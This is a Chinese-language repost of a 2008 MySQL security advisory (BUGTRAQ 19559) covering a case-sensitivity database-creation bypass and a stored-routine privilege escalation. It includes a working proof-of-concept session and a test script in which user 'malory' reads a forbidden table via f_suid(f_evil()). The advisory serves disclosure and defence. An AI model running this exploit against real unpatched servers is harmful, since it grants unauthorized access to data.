当前位置:首页 > 网络编程 > 数据库 > Mysql > MySQL权限提升及安全限制绕过漏洞

MySQL权限提升及安全限制绕过漏洞

点击次数:31 次 发布日期:2008-11-22 09:03:19 作者:源代码网
源代码网推荐

源代码网整理以下受影响系统:

源代码网整理以下MySQL AB MySQL <= 5.1.10

源代码网整理以下描述:

源代码网整理以下BUGTRAQ ID: 19559

源代码网整理以下MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

源代码网整理以下在MySQL上,拥有访问权限但无创建权限的用户可以创建与所访问数据库仅有名称字母大小写区别的新数据库。成功利用这个漏洞要求运行MySQL的文件系统支持区分大小写的文件名。

源代码网整理以下此外,由于在错误的安全环境中计算了suid例程的参数,攻击者可以通过存储的例程以例程定义者的权限执行任意DML语句。成功攻击要求用户对所存储例程拥有EXECUTE权限。

源代码网整理以下测试方法:

源代码网整理以下【警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!】

源代码网整理以下1、创建数据库

源代码网整理以下

以下为引用的内容:

源代码网整理以下$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard

源代码网整理以下mysql> create database another;
ERROR 1044: Access denied for user "sample"@"%" to database "another"

源代码网整理以下mysql> create database sAmple;
Query OK, 1 row affected (0.00 sec)

源代码网整理以下2、权限提升

源代码网整理以下

以下为引用的内容:

源代码网整理以下--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings

源代码网整理以下# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;

源代码网整理以下# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;

源代码网整理以下use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won"t have any access
create table t1 (i int);

源代码网整理以下connect (malcon, localhost, malory,,mysqltest1);

源代码网整理以下# Correct malory@localhost don"t have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;

源代码网整理以下# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|

源代码网整理以下# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;

源代码网整理以下# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;

源代码网整理以下connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;

源代码网整理以下 建议:

源代码网整理以下厂商补丁:MySQL AB

源代码网整理以下目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载

源代码网供稿.
网友评论 (0)
会员中心
网络编程
本站推荐
网络编程之精华